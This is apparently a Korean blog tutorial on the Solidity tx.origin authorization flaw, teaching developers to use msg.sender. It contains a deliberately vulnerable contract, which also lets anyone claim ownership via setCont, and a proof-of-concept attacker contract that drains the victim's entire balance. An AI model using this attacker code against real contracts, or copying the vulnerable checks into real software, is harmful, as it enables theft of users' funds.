본문 바로가기

자주나오는패턴

[Common Vulnerabilities] Authorization through tx.origin

tx.origin은 트랜잭션을 실행한 주소를 리턴하는 솔리디티의 글로벌 변수다.  tx.origin은 거래의 원래 발신자를 반환하므로 이로 인해 인증 검사를 통과하는 취약한 계약에 대한 호출이 가능해진다. 그렇기 때문에 tx.origin대신 msg.sender를 사용해야 한다. 

 

contract MyContract {

    address public  owner;

    function setCont() public {
        owner = msg.sender;
    }
    function sendETH () public  payable {}
    function sendTo(address receiver, uint amount) public returns(address,address){
        require(tx.origin == owner);
        (bool success, ) = receiver.call{value:amount}("");
        require(success);
        return (tx.origin,msg.sender) ; 
    }
}

contract AttackingContract {

    MyContract myContract;
    address attacker;

    function Attacking(address myContractAddress) public {
        myContract = MyContract(myContractAddress);
        attacker = msg.sender;
    }

    function attack() public returns(address,address){
        (address ori, address ms )= myContract.sendTo(attacker, address(myContract).balance);
        return (ori,ms);
    }
}

이렇게 있는 컨트랙트에서

유저A가 MyContract를 배포하고 sendETH함수를 통해서 컨트랙트에 이더를 전송해 놨다고 치자.

유저 B가 AttackingContract를 배포하고 Attacking함수에 MyContract컨트랙트 주소를 넣고 세팅을 해둔 상태에서 

유저 A가 attack() 함수를 실행하면 sendTo함수의 리턴을 통해서 msg.sender는 AttackingContract컨트랙트가 되지만 tx.origin은 유저 A가 되기 때문에 owner require를 통과한다. 

0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 => 유저 A 주소

0x9da9df2Fe440fA9E05B620a05990d7c644aCBBB8 => AttackingContract주소 

 

[ 참고 및 추가자료 ]

1. https://swcregistry.io/docs/SWC-115/

2. https://docs.soliditylang.org/en/develop/security-considerations.html#tx-origin

3. https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/tx-origin/